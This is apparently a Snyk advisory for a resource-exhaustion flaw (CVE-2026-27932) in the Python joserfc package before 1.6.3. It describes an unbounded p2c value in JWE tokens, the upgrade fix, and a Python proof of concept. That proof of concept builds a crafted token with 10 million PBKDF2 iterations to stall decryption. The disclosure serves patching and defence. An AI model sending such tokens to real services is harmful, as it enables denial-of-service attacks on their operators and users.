Allocation of Resources Without Limits or Throttling Affecting joserfc package, versions [,1.6.3)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-PYTHON-JOSERFC-15369129
- published3 Mar 2026
- disclosed2 Mar 2026
- creditJay Neiva, Pr00fOf3xpl0it
Introduced: 2 Mar 2026
CVE-2026-27932 (opens in a new tab)How to fix?
Upgrade joserfc to version 1.6.3 or higher.
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the decrypt_cek function. An attacker can cause excessive CPU resource consumption by supplying a crafted JSON Web Encryption (JWE) token with an unbounded p2c parameter value, leading to prolonged processing times during decryption.
PoC
import time
from joserfc import jwe
from joserfc.jwk import OctKey
# Force joserfc to use local source if needed
# sys.path.insert(0, "src")
# Attacker-crafted token with 10 million iterations
# Normally legitimate p2c is ~2048-4096. 10M iterations = ~5s DoS.
token = "eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwicDJzIjoiWjI5dVpYSm1ZdyIsInAyYyI6MTAwMDAwMDB9.dummy.dummy.dummy.dummy"
key = OctKey.import_key(b"any-password")
t0 = time.perf_counter()
try:
# This call will hang the thread for seconds
jwe.decrypt_compact(token, key, algorithms=["PBES2-HS256+A128KW", "A128CBC-HS256"])
except Exception:
pass
print(f"Elapsed: {time.perf_counter() - t0:.2f}s")